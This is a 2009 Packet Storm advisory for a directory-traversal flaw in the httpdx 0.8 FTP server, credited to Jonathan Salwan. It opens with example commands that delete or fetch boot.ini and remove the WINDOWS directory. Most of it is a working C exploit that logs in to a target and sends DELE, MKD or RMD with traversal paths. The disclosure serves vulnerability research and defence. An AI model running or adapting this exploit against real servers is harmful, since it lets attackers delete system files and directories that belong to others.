httpdx 0.8 FTP Server Delete/Get/Create

2009-06-08T00:00:00
ID PACKETSTORM:78145
Type packetstorm
Reporter Jonathan Salwan
Modified 2009-06-08T00:00:00

Description

                                        
                                            `/*  
Httpdx Server FTP v0.8 Remote Arbitrary Directories & files Vulnerability  
-------------------------------------------------------------------------  
  
Arbitrary:  
----------  
The vulnerability is caused due to an input validation error when processing FTP requests. This can be   
exploited to read, modify, or delete arbitrary files from the affected system via directory traversal   
attacks.  
  
--------------------------------------------------------------------------------------------------------  
  
FTP Service:  
------------  
You can delet file boot.ini => DELE ../../boot.ini  
You can get file boot.ini => RETR ../../boot.ini  
You can creat Directory => MKD ../../poc  
You can delet Directory => RMD ../../WINDOWS  
  
  
Author: Jonathan Salwan  
Mail : submit [AT] shell-storm.org  
Web : http://www.shell-storm.org  
*/  
  
#include "stdio.h"  
#include "unistd.h"  
#include "stdlib.h"  
#include "sys/types.h"  
#include "sys/socket.h"  
#include "netinet/in.h"  
  
int syntax(char *file)  
{  
fprintf(stderr,"\nHttpdx Server FTP v0.8 Arbitrary Directories & files\n");  
fprintf(stderr,"-------------------------------------------------------\n");  
fprintf(stderr,"=>Syntax : <%s> <ip> <port> <login> <passwd> <option> <argument_option>\n\n",file);  
fprintf(stdout,"=>Option : -df\t\tDelet File\n");  
fprintf(stdout," -cd\t\tCreat Directory\n");  
fprintf(stdout," -dd\t\tDelet Directory\n\n");  
fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 passwd2 -df ../../boot.ini\n", file);  
fprintf(stdout," : %s 127.0.0.1 21 login1 passwd2 -cd ../../poc\n", file);  
fprintf(stdout," : %s 127.0.0.1 21 login1 passwd2 -dd ../../WINDOWS\n\n", file);  
exit(0);  
}  
  
int main(int argc, char **argv)  
{  
if (argc < 6)  
syntax(argv[0]);  
  
int port = atoi(argv[2]);  
  
int mysocket;  
int mysocket2;  
int srv_connect;  
int sockaddr_long;  
  
  
struct sockaddr_in sockaddr_mysocket;  
sockaddr_long = sizeof(sockaddr_mysocket);  
sockaddr_mysocket.sin_family = AF_INET;  
sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);  
sockaddr_mysocket.sin_port = htons(port);  
  
char request[50];  
char answer[100];  
  
fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);  
  
mysocket2 = socket(AF_INET, SOCK_STREAM, 0);  
if(mysocket2 == -1){  
fprintf(stderr,"[-]FAILED SOCKET\n");  
return 1;}  
  
srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);  
  
if (srv_connect != -1)  
{  
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
  
if(!strcmp(argv[5], "-df")){  
sprintf(request, "USER %s\r\n", argv[3]);   
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{  
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
}  
sprintf(request, "PASS %s\r\n", argv[4]);  
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{   
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
fprintf(stdout,"[+]>>%s",answer);  
}  
sprintf(request, "SYST\r\n");  
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{  
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
fprintf(stdout,"[+]>>%s",answer);  
}   
sprintf(request, "DELE %s\r\n", argv[6]);  
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request DELE\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{   
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
fprintf(stdout,"[+]>>%s",answer);  
}   
}  
  
  
if(!strcmp(argv[5], "-cd")){  
sprintf(request, "USER %s\r\n", argv[3]);   
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{  
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
}  
sprintf(request, "PASS %s\r\n", argv[4]);  
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{   
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
fprintf(stdout,"[+]>>%s",answer);  
}  
sprintf(request, "SYST\r\n");  
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{  
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
fprintf(stdout,"[+]>>%s",answer);  
}  
sprintf(request, "MKD %s\r\n", argv[6]);  
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request MKD\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{   
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
fprintf(stdout,"[+]>>%s",answer);  
}  
}  
  
  
if(!strcmp(argv[5], "-dd")){  
sprintf(request, "USER %s\r\n", argv[3]);   
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{  
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
}  
sprintf(request, "PASS %s\r\n", argv[4]);  
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{   
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
fprintf(stdout,"[+]>>%s",answer);  
}  
sprintf(request, "SYST\r\n");  
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{  
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
fprintf(stdout,"[+]>>%s",answer);  
}  
sprintf(request, "RMD %s\r\n", argv[6]);  
if (send(mysocket2,request,strlen(request),0) == -1){  
fprintf(stderr,"[-]Send Request RMD\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
else{   
memset(answer,0,100);  
recv(mysocket2,answer,sizeof(answer),0);  
fprintf(stdout,"[+]>>%s",answer);  
}  
}  
  
  
}  
  
else{  
fprintf(stderr,"[-]Connect\t\t[FAILED]\n");  
shutdown(mysocket2,1);  
return 1;}  
  
  
shutdown(mysocket2,1);  
  
  
fprintf(stdout,"[+]Done!\n", argv[5]);  
return 0;  
}  
  
  
`